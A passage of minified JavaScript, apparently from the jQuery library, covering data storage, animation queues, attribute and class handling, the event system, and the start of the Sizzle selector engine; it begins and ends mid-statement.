d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1&&!f._data(j,"parsedAttrs")){g=j.attributes;for(i=g.length;k<i;k++)h=g[k].name,h.indexOf("data-")===0&&(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,"parsedAttrs",!0)}}return m}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split(".",2),d[1]=d[1]?"."+d[1]:"",e=d[1]+"!";return f.access(this,function(c){if(c===b){m=this.triggerHandler("getData"+e,[d[0]]),m===b&&j&&(m=f.data(j,a),m=l(j,a,m));return m===b&&d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var b=f(this);b.triggerHandler("setData"+e,d),f.data(this,a,c),b.triggerHandler("changeData"+e,d)})},null,c,arguments.length>1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length<d)return f.queue(this[0],a);return c===b?this:this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise(c)}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,f.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i<g;i++)e=d[i],e&&(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,""),a.removeAttribute(v?e:c),h&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(
-a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g&&G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e&&(!c.button||c.type!=="click")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k<e;k++)s=d[k],t=s.selector,p[t]===b&&(p[t]=s.quick?H(m,s.quick):n.is(t)),p[t]&&r.push(s);r.length&&j.push({elem:m,matches:r})}}d.length>e&&j.push({elem:this,matches:d.slice(e)});for(k=0;k<j.length&&!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l<q.matches.length&&!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace&&!s.namespace||c.namespace_re&&c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b&&(c.result=o,o===!1&&(c.preventDefault(),c.stopPropagation()))}}i.postDispatch&&i.postDispatch.call(this,c);return c.result}},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=d||c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+"."+e.namespace:e.origType,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9||d===11){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var 